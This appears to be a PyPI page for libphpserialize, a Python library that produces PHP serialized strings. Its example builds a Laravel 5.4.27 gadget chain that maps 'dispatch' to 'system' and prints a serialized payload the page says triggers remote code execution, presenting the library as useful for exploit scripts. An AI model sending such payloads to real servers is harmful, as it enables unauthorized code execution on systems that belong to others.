Skip to main content

libphpserialize

A port of PHP's serialize function, in pure python

Installation

pip install libphpserialize

Features

  • serialize objects directly from python objects
  • nested objects
  • namespacing
  • variable Access Modifiers (public, private, protected)

Example

from phpserialize import serialize
from phpserialize.decorators import namespace
import requests


@namespace('Faker')
class Generator:
    protected_formatters = {'dispatch': 'system'}


@namespace('Illuminate\Broadcasting')
class PendingBroadcast:
    protected_event = 'ls'
    protected_events = Generator()


print(serialize(PendingBroadcast()))

with above code, you'll get:

O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:"*events";O:15:"Faker\Generator":1:{s:13:"*formatters";a:1:{s:8:"dispatch";s:6:"system";}}s:8:"*event";s:2:"ls";}

which triggers an RCE vulnerability in Laravel 5.4.27

nice when you're writing an exploit script for others to read

Important:

  • the code is written and tested under python 3.7+
  • decimal serialization doesn't work the same as PHP does, yet

TODO

  • recursive objects support
  • reimplement decimal precision calculating algorithm from php engine

Release files for libphpserialize 0.0.6

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for libphpserialize 0.0.6
File Size Uploaded
libphpserialize-0.0.6.tar.gz 5.1 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for libphpserialize 0.0.6
File Interpreter ABI Platform
libphpserialize-0.0.6-py3-none-any.whl Python 3 none any Details

Total release size: 11.3 kB

Release files / libphpserialize-0.0.6.tar.gz

Download URL libphpserialize-0.0.6.tar.gz
Size 5.1 kB
Tags Source
SHA-256 checksum
How to use checksums
68678a37b264bb66d6041bf878d29fafa2be1a8e8fb462dd74e71bca3e7bff31
BLAKE2b-256 checksum
How to use checksums
8ea821246c9464ffb98f017b8ce9541804c7b718561fcb6a81f09d245e9e4892
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.1 CPython/3.10.6

Release files / libphpserialize-0.0.6-py3-none-any.whl

Download URL libphpserialize-0.0.6-py3-none-any.whl
Size 6.2 kB
Tags Python 3
SHA-256 checksum
How to use checksums
85446109b5519fa99d4891ea6740d707bf4153bef868956b822951656ac1554c
BLAKE2b-256 checksum
How to use checksums
c69f0df99e513f5245801834b7c0ec8a9805d949ee13da4c9ad96dabf1abdafa
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/4.0.1 CPython/3.10.6
Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page